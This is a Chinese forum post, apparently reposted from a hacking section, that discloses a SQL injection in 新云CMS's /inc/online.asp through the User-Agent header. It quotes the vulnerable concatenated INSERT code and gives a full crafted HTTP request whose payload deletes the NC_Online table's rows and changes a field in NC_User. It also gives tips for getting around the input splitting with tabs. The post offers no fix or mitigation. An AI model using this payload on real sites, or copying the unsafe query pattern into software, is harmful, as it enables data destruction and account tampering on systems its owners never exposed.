• 设为首页
  • 收藏本站
  • 积分充值
  • VIP赞助
  • 手机版
  • 微博
  • 微信
    微信公众号 添加方式:
    1:搜索微信号(888888
    2:扫描左侧二维码
  • 快捷导航
    福建二哥 门户 查看主题

    新云CMS Online.asp页面过滤不严导致SQL注入漏洞

    发布者: 汤9760 | 发布时间: 2025-6-28 23:06| 查看数: 101| 评论数: 0|帖子模式

    受影响系统:
    最新版本

    漏洞文件:
    /inc/online.asp

    代码分析如下:
    OnlineSQL = "INSERT INTO NC_Online(id,ChannelID,username,identitys,station,ip,browser,startTime,lastTime,userid,strReferer) VALUES (" & UserSessionID & "," & cid & ",'" & strUsername & "','" & stridentitys & "','" & CurrentStation & "','" & remoteaddr & "','" & BrowserType.platform&"|"&BrowserType.Browser&BrowserType.version & "|"&BrowserType.AlexaToolbar&"'," & NowString & "," & NowString & "," & userid & ",'" & strReferer & "')" //第69行
    。。。。。。
    Agent = Request.ServerVariables("HTTP_USER_AGENT") //第99行
    。。。。。。
    ElseIf Left(Agent, 5) = "Opera" Then '有此标识为浏览器 //第162行
          Agent = Split(Agent, "/")
          Browser = "Mozilla "
          Tmpstr = Split(Agent(1), " ")
          version = Tmpstr(0)
    HTTP_USER_AGENT我们可以控制,则version变量我们就可以控制了。

    构造数据包如下:
    POST /inc/online.asp HTTP/1.1
    Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
    Referer: http://localhost/xx.htm
    Accept-Language: zh-cn
    UA-CPU: x86
    Accept-Encoding: gzip, deflate
    User-Agent: Opera/haha',2008,2009,11111,'');delete  from  NC_Online;update[NC_User]set[buycode]=7;--
    Host: localhost
    Connection: Keep-Alive
    Cookie: ASPSESSIONIDAABBCRRS=FFGNDBDDKJLFADOGOMKLBGPF
    成功执行sql语句

    注意的地方:
    1.  在两次分割成数组的时候是以"/"和" ",所以构造的sql语句时使用的间隔符就不能用/**/和空格,上面是使用tab键弄出来的空格。
    2.  一定要加上delete  from    NC_Online,不然下次程序就不执行insert语句,而改成执行update语句了。

    来源:https://www.jb51.net/hack/5529.html
    免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

    最新评论

    浏览过的版块

    QQ Archiver 手机版 小黑屋 福建二哥 ( 闽ICP备2022004717号|闽公网安备35052402000345号 )

    Powered by Discuz! X3.5 © 2001-2023

    快速回复 返回顶部 返回列表